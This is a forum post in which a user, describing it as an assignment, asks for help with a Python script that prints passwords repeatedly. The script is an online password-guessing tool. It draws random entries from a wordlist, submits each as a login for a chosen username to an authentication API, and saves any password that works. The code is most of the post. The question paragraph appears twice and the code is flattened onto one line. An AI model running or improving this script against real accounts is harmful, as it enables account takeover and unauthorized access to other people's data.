Nov-18-2019, 05:58 AM
(This post was last modified: Nov-18-2019, 06:01 AM by Gribouillis.)
So, I have an assigment which wants ask me to check if a given password matches a username
This is the code below, the issue i'm having is, my terminal is printing out passwords multiple times, but i only want it to print out one password each time, so it'll go ex: 123, test, 1234. etc.
Any help is appreciated, thank you!
This is the code below, the issue i'm having is, my terminal is printing out passwords multiple times, but i only want it to print out one password each time, so it'll go ex: 123, test, 1234. etc.
Any help is appreciated, thank you!
import random import time import threading import requests from xml.dom import minidom # http://api.example.com/?method=xgen.users.add&username={}&password={} some = 0 Username = input("Username to test: ") while some == 0: lines = open('passlist.txt').read().splitlines() Password = random.choice(lines) APIData = {'username': Username, 'password': Password} URLData = requests.get('http://api.example.com/?method=xgen.users.authenticate', params=APIData).text Response = minidom.parseString (URLData) .getElementsByTagName ('rsp') [0] .attributes['stat'] .value print ("Checking password; " + Password) if Response == 'ok': print ("Found correct password: " + Password) data = open (Username + ".txt", "a") data.write ("Found correct password for " + Username + ": " + Password) data.close() some = 1 time.sleep(5)